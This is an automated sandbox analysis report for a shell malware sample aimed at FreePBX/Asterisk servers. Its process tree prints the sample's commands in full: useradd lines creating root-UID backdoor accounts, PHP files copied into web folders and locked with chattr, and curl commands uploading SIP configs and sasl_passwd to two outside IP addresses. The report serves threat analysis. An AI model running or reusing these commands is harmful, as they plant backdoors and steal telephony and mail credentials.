Analysis

  • max time kernel
    4s
  • max time network
    130s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    30/07/2026, 13:20

General

  • Target
    k.php.sh
  • Size 48KB
  • Sample260730-qlgrhaswfs
  • SHA256 2ec961162dd43e87b68abf63977c983d5c4a8dcd77caa399faa72914734d022b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies password files for system users/ groups 1 TTPs 8 IoCs

    Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • OS Credential Dumping 1 TTPs 2 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Adds a user to the system 4 IoCs
  • Deobfuscate/Decode Files or Information 1 TTPs 9 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

  • Reads runtime system information 32 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 20 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/k.php.sh
    /tmp/k.php.sh
    1⤵
    • Writes file to tmp directory
    PID:1473
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
      2⤵
      • Reads runtime system information
      PID:1476
    • /bin/bash
      bash
      2⤵
        PID:1479
        • /usr/sbin/useradd
          useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
          3⤵
          • Modifies password files for system users/ groups
          • OS Credential Dumping
          • Adds a user to the system
          • Reads runtime system information
          PID:1482
          • /usr/sbin/nscd
            nscd -i passwd
            4⤵
              PID:1483
            • /usr/sbin/nscd
              nscd -i group
              4⤵
                PID:1484
              • /sbin/pam_tally2
                pam_tally2 --user newfpbx --reset --quiet
                4⤵
                  PID:1485
                • /usr/sbin/nscd
                  nscd -i passwd
                  4⤵
                    PID:1486
                  • /usr/sbin/nscd
                    nscd -i group
                    4⤵
                      PID:1487
                • /usr/bin/base64
                  base64 -d
                  2⤵
                  • Deobfuscate/Decode Files or Information
                  PID:1478
                • /bin/bash
                  bash
                  2⤵
                    PID:1491
                    • /usr/sbin/useradd
                      useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
                      3⤵
                      • Modifies password files for system users/ groups
                      • OS Credential Dumping
                      • Adds a user to the system
                      • Reads runtime system information
                      PID:1492
                      • /usr/sbin/nscd
                        nscd -i passwd
                        4⤵
                          PID:1497
                        • /usr/sbin/nscd
                          nscd -i group
                          4⤵
                            PID:1498
                          • /sbin/pam_tally2
                            pam_tally2 --user xhimax --reset --quiet
                            4⤵
                              PID:1499
                            • /usr/sbin/nscd
                              nscd -i passwd
                              4⤵
                                PID:1500
                              • /usr/sbin/nscd
                                nscd -i group
                                4⤵
                                  PID:1501
                            • /usr/bin/base64
                              base64 -d
                              2⤵
                              • Deobfuscate/Decode Files or Information
                              PID:1490
                            • /bin/bash
                              bash
                              2⤵
                                PID:1504
                                • /usr/sbin/useradd
                                  useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
                                  3⤵
                                  • Adds a user to the system
                                  • Reads runtime system information
                                  PID:1505
                              • /usr/bin/base64
                                base64 -d
                                2⤵
                                • Deobfuscate/Decode Files or Information
                                PID:1503
                              • /bin/bash
                                bash
                                2⤵
                                  PID:1508
                                  • /usr/sbin/useradd
                                    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
                                    3⤵
                                    • Adds a user to the system
                                    • Reads runtime system information
                                    PID:1509
                                • /usr/bin/base64
                                  base64 -d
                                  2⤵
                                  • Deobfuscate/Decode Files or Information
                                  PID:1507
                                • /bin/mkdir
                                  mkdir -p /var/www/html/rest_phones/
                                  2⤵
                                  • Reads runtime system information
                                  PID:1510
                                • /bin/mkdir
                                  mkdir -p /var/www/html/admin/modules/h/
                                  2⤵
                                  • Reads runtime system information
                                  PID:1511
                                • /bin/mkdir
                                  mkdir -p /var/www/html/admin/modules/fpbxphones/
                                  2⤵
                                  • Reads runtime system information
                                  PID:1512
                                • /bin/mkdir
                                  mkdir -p /var/www/html/admin/modules/phones/
                                  2⤵
                                  • Reads runtime system information
                                  PID:1513
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:1514
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/ajax.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:1515
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/ajax.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:1516
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:1517
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/ajax.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:1518
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/config.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:1519
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/config.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:1520
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/config.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:1521
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/index.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:1522
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/index.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:1523
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/index.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:1524
                                • /usr/bin/touch
                                  touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
                                  2⤵
                                    PID:1525
                                  • /bin/chmod
                                    chmod +x /var/www/html/admin/views/ajax.php
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1528
                                  • /usr/bin/chattr
                                    chattr +i /var/www/html/admin/views/ajax.php
                                    2⤵
                                      PID:1529
                                    • /usr/bin/chattr
                                      chattr +a /var/www/html/admin/views/ajax.php
                                      2⤵
                                        PID:1530
                                      • /usr/bin/chattr
                                        chattr +i /var/www/html/h.php
                                        2⤵
                                          PID:1531
                                        • /usr/bin/chattr
                                          chattr +a /var/www/html/h.php
                                          2⤵
                                            PID:1532
                                          • /usr/bin/base64
                                            base64 -d
                                            2⤵
                                            • Deobfuscate/Decode Files or Information
                                            PID:1534
                                          • /bin/bash
                                            bash /tmp/test.sh
                                            2⤵
                                              PID:1535
                                              • /bin/ls
                                                ls -la
                                                3⤵
                                                • Reads runtime system information
                                                PID:1538
                                              • /bin/cat
                                                cat /etc/passwd
                                                3⤵
                                                  PID:1539
                                                • /bin/ls
                                                  ls -ls /home
                                                  3⤵
                                                  • Reads runtime system information
                                                  PID:1540
                                                • /bin/mkdir
                                                  mkdir -p /var/www/html/admin/modules/freepbx_ha/
                                                  3⤵
                                                  • Reads runtime system information
                                                  PID:1541
                                                • /bin/mv
                                                  mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
                                                  3⤵
                                                  • Reads runtime system information
                                                  PID:1542
                                                • /usr/bin/base64
                                                  base64 -d
                                                  3⤵
                                                  • Deobfuscate/Decode Files or Information
                                                  PID:1544
                                                • /bin/rm
                                                  rm -f /var/www/html/admin/modules/freepbx_ha/license.php
                                                  3⤵
                                                    PID:1545
                                                  • /bin/mv
                                                    mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
                                                    3⤵
                                                    • Reads runtime system information
                                                    PID:1546
                                                  • /bin/ls
                                                    ls -la
                                                    3⤵
                                                    • Reads runtime system information
                                                    PID:1547
                                                  • /usr/bin/base64
                                                    base64 -d
                                                    3⤵
                                                    • Deobfuscate/Decode Files or Information
                                                    PID:1549
                                                  • /bin/ls
                                                    ls -la
                                                    3⤵
                                                    • Reads runtime system information
                                                    PID:1550
                                                  • /bin/cat
                                                    cat /etc/passwd
                                                    3⤵
                                                      PID:1551
                                                    • /bin/ls
                                                      ls -ls /home
                                                      3⤵
                                                      • Reads runtime system information
                                                      PID:1552
                                                  • /bin/rm
                                                    rm -rf /tmp/test.sh
                                                    2⤵
                                                      PID:1553
                                                    • /bin/bash
                                                      bash /var/spool/asterisk/tmp/test.sh
                                                      2⤵
                                                        PID:1556
                                                      • /bin/rm
                                                        rm -rf /var/spool/asterisk/tmp/test.sh
                                                        2⤵
                                                          PID:1557
                                                        • /bin/bash
                                                          bash
                                                          2⤵
                                                            PID:1560
                                                            • /usr/bin/curl
                                                              curl -F "file=@/etc/asterisk/sip_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                              3⤵
                                                              • System Network Configuration Discovery
                                                              PID:1561
                                                            • /usr/bin/curl
                                                              curl -F "file=@/etc/asterisk/sip_registrations.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                              3⤵
                                                              • System Network Configuration Discovery
                                                              PID:1562
                                                            • /usr/bin/curl
                                                              curl -F "file=@/etc/asterisk/manager.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                              3⤵
                                                                PID:1563
                                                              • /usr/bin/curl
                                                                curl -F "file=@/etc/asterisk/pjsip.identify.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                3⤵
                                                                • System Network Configuration Discovery
                                                                PID:1564
                                                              • /usr/bin/curl
                                                                curl -F "file=@/etc/asterisk/pjsip.transports.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                3⤵
                                                                • System Network Configuration Discovery
                                                                PID:1566
                                                              • /usr/bin/curl
                                                                curl -F "file=@/etc/asterisk/pjsip.aor.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                3⤵
                                                                • System Network Configuration Discovery
                                                                PID:1567
                                                              • /usr/bin/curl
                                                                curl -F "file=@/etc/asterisk/pjsip.auth.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                3⤵
                                                                • System Network Configuration Discovery
                                                                PID:1568
                                                              • /usr/bin/curl
                                                                curl -F "file=@/etc/asterisk/sip_general_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                3⤵
                                                                • System Network Configuration Discovery
                                                                PID:1569
                                                              • /usr/bin/curl
                                                                curl -F "file=@/etc/postfix/sasl_passwd" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                3⤵
                                                                  PID:1570
                                                                • /usr/bin/curl
                                                                  curl -F "file=@/etc/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                  3⤵
                                                                    PID:1571
                                                                  • /usr/bin/curl
                                                                    curl -F "file=@/etc/asterisk/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                    3⤵
                                                                      PID:1572
                                                                    • /usr/bin/curl
                                                                      curl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                      3⤵
                                                                      • System Network Configuration Discovery
                                                                      PID:1573
                                                                    • /usr/bin/curl
                                                                      curl -F "file=@/etc/asterisk/sip_custom.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                      3⤵
                                                                      • System Network Configuration Discovery
                                                                      PID:1574
                                                                    • /usr/bin/curl
                                                                      curl -F "file=@/etc/asterisk/sip.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                      3⤵
                                                                      • System Network Configuration Discovery
                                                                      PID:1575
                                                                    • /usr/bin/curl
                                                                      curl -F "file=@/etc/freepbx.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                      3⤵
                                                                        PID:1576
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/issabel.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                          PID:1577
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/elastix.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                            PID:1578
                                                                        • /usr/bin/base64
                                                                          base64 -d
                                                                          2⤵
                                                                          • Deobfuscate/Decode Files or Information
                                                                          PID:1559
                                                                        • /bin/bash
                                                                          bash
                                                                          2⤵
                                                                            PID:1581
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/asterisk/sip_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • System Network Configuration Discovery
                                                                              PID:1582
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/asterisk/sip_registrations.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                              • System Network Configuration Discovery
                                                                              PID:1583
                                                                            • /usr/bin/curl
                                                                              curl -F "file=@/etc/asterisk/manager.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                              3⤵
                                                                                PID:1584
                                                                              • /usr/bin/curl
                                                                                curl -F "file=@/etc/asterisk/pjsip.identify.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                                3⤵
                                                                                • System Network Configuration Discovery
                                                                                PID:1585
                                                                              • /usr/bin/curl
                                                                                curl -F "file=@/etc/asterisk/pjsip.transports.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                                3⤵
                                                                                • System Network Configuration Discovery
                                                                                PID:1586
                                                                              • /usr/bin/curl
                                                                                curl -F "file=@/etc/asterisk/pjsip.aor.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                                3⤵
                                                                                • System Network Configuration Discovery
                                                                                PID:1587
                                                                              • /usr/bin/curl
                                                                                curl -F "file=@/etc/asterisk/pjsip.auth.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                                3⤵
                                                                                • System Network Configuration Discovery
                                                                                PID:1588
                                                                              • /usr/bin/curl
                                                                                curl -F "file=@/etc/asterisk/sip_general_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                                3⤵
                                                                                • System Network Configuration Discovery
                                                                                PID:1589
                                                                              • /usr/bin/curl
                                                                                curl -F "file=@/etc/postfix/sasl_passwd" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                                3⤵
                                                                                  PID:1590
                                                                                • /usr/bin/curl
                                                                                  curl -F "file=@/etc/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                                  3⤵
                                                                                    PID:1591
                                                                                  • /usr/bin/curl
                                                                                    curl -F "file=@/etc/asterisk/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                                    3⤵
                                                                                      PID:1592
                                                                                    • /usr/bin/curl
                                                                                      curl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                                      3⤵
                                                                                      • System Network Configuration Discovery
                                                                                      PID:1593
                                                                                    • /usr/bin/curl
                                                                                      curl -F "file=@/etc/asterisk/sip_custom.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                                      3⤵
                                                                                      • System Network Configuration Discovery
                                                                                      PID:1594
                                                                                    • /usr/bin/curl
                                                                                      curl -F "file=@/etc/asterisk/sip.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                                      3⤵
                                                                                      • System Network Configuration Discovery
                                                                                      PID:1595
                                                                                    • /usr/bin/curl
                                                                                      curl -F "file=@/etc/freepbx.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                                      3⤵
                                                                                        PID:1596
                                                                                      • /usr/bin/curl
                                                                                        curl -F "file=@/etc/issabel.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                                        3⤵
                                                                                          PID:1597
                                                                                        • /usr/bin/curl
                                                                                          curl -F "file=@/etc/elastix.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                                          3⤵
                                                                                            PID:1598
                                                                                        • /usr/bin/base64
                                                                                          base64 -d
                                                                                          2⤵
                                                                                          • Deobfuscate/Decode Files or Information
                                                                                          PID:1580

                                                                                      Network

                                                                                            MITRE ATT&CK Enterprise v16

                                                                                            Replay Monitor

                                                                                            Loading Replay Monitor...

                                                                                            Downloads

                                                                                            passwd+

                                                                                            • Path /etc/passwd+
                                                                                            • Size 2KB
                                                                                            • SHA256 e654d1d250f09f2ab363439c2efedd3a68f22cca525b349706d57bfe41ac940e
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            passwd+

                                                                                            • Path /etc/passwd+
                                                                                            • Size 2KB
                                                                                            • SHA256 139ba9f8f84a68d215d5634c54f56119dff64b4d92bb4d7d981acb35e4d6551d
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            shadow+

                                                                                            • Path /etc/shadow+
                                                                                            • Size 1KB
                                                                                            • SHA256 f5fcb0c13afab512f715e564d6a4d6979067be223b686e875b58eae2589ef9ac
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            shadow+

                                                                                            • Path /etc/shadow+
                                                                                            • Size 1KB
                                                                                            • SHA256 a8a9c713734566b2f542d944501f8ab2c875ae3d7cab30ec746000d95592c31b
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            subuid+

                                                                                            • Path /etc/subuid+
                                                                                            • Size 59B
                                                                                            • SHA256 da8f26f0a2ae8764c3e20dc22bc65cca4e3484540596ef7ceaafac71c26abd7c
                                                                                            • MD5 SHA1 SHA512 TLSH

                                                                                            subuid+

                                                                                            • Path /etc/subuid+
                                                                                            • Size 39B
                                                                                            • SHA256 9316f27c6431ca1472e0bbdc728ecd20cb7eab44fd03b2a04f6d643e99a24e89
                                                                                            • MD5 SHA1 SHA512

                                                                                            test.sh

                                                                                            • Path /tmp/test.sh
                                                                                            • Size 12KB
                                                                                            • SHA256 20d80d9403f12e730915bf419cdd8f65d1ee09ebfe5f2f382f2d8aa0511ea4ab
                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH